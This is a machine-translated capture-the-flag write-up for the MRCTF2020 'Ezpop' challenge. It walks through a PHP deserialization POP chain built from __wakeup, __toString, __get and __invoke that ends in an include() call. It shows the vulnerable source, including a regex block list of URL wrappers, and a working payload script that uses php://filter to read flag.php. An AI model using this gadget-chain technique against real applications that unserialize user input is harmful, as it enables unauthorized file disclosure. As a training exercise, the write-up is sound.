当前位置:网站首页>[MRCTF2020]Ezpop 1
[MRCTF2020]Ezpop 1
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
I think the Internet is all about this problem and pop chain of , I started to write a relatively complete about this part last week PHP Deserialization summary , It is expected to be released this week , So my analysis of this topic is completely based on the premise of not knowing this knowledge
Open the web link , Give us the code directly , This is not the source code audit , Direct dry pulling :
Here I suggest you take a look at PHP edition , Because some vulnerabilities are valid under certain versions
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); # utilize include Function } public function __invoke(){ // Fires when an attempt is made to call an object as a function $this->append($this->var); # The second step : When Test When calling you, you will execute and then include flag.php file } } class Show{ public $source; public $str; public function __construct($file='index.php'){ // Triggered when an object is created $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; # The third step : If pop->source Medium source It's a Show class , Then it will execute __tostring class , This is because of the echo 'Welcome to '.$this->source."<br>"; Isn't it called here } public function __wakeup(){ // perform unserialize() when , This function will be called first if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ // Triggered when an object is created $this->p = array(); } public function __get($key){ # When we try to get an unreachable property ( such as private), Class will automatically call __get function , Or another attribute that is not it $function = $this->p; return $function(); # The first step is to use this call Modifier This class } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); // Deserialization } else{ $a=new Show; highlight_file(__FILE__); } ?>For the content of code audit , I have written it in the code
Summarize the ideas after code audit :


Now the idea is , Yes payload Design :
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; } class Test{ public $p ; } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p=new Modifier(); echo urlencode(serialize($a)); ?>Some people may wonder why url code , This is because Modifier The property of is protected You must know about PHP Of proteced and private There are some special codes after serialization of , To prevent the impact of this , So we code it
Access page :

Then proceed Decode it
summary
- You must be patient when auditing code
边栏推荐
- C language: optimized Hill sort
- [day42 literature intensive reading] a Bayesian model of perfect head centered velocity during smooth pursuit eye movement
- Leetcode56. Consolidation interval
- [applet] the upload of the wechat applet issued by uniapp failed error: error: {'errcode': -10008,'errmsg':'Invalid IP
- Gossip: it's really important to have a rod in your hand and a net on your shoulder. As for how many fish are in the basket?
- C语言:随机生成数+插入排序
- Local Oracle reported ora-12514: tns: the listener cannot recognize the requested service at present
- JS access cookie example
- Stored procedure trial 2 -- establish a test table to test different types of stored procedures
- 数据提取2
猜你喜欢

Promise details

【Day42 文献精读】A Bayesian Model of Perceived Head-Centered Velocity during Smooth Pursuit Eye Movement

QT creator code style plug-in beautifier

Can Linux install sqlserver

Abstract factory pattern

Lu Xun: I don't remember saying it, or you can check it yourself!

浅谈数据安全

Hu related configuration

如何更新pip3?和Running pip as the ‘root‘ user can result in broken permissions and conflicting behaviour

How to update PIP3? And running PIP as the 'root' user can result in broken permissions and conflicting behavior
随机推荐
The seta 2020 international academic conference will be held soon. Welcome to attend!
[day42 literature intensive reading] a Bayesian model of perfect head centered velocity during smooth pursuit eye movement
Lua stateful iterator
[golang] golang develops wechat official account web page authorization function
Modification case of Ruixin micro rk3399-i2c4 mounting EEPROM
【目标检测】YOLOv6理论解读+实践测试VisDrone数据集
Redis configuration file download
一段平平无奇的秋招经历
MySQL table name area in Linux is not case sensitive
C语言:随机生成数+希尔排序
Kalibr calibration realsensed435i -- multi camera calibration
containerd拉取私库镜像失败(kubelet)
自动化测试的使用场景
想让照片中的云飘起来?视频编辑服务一键动效3步就能实现
Dasctf2022.07 enabling game password WP
What is the real HTAP? (1) Background article
Harbor正确密码登录不上去
[target detection] yolov6 theoretical interpretation + practical test visdrone data set
Plato farm is expected to further expand its ecosystem through elephant swap
Internet of things industrial UART serial port to WiFi to wired network port to Ethernet Gateway WiFi module selection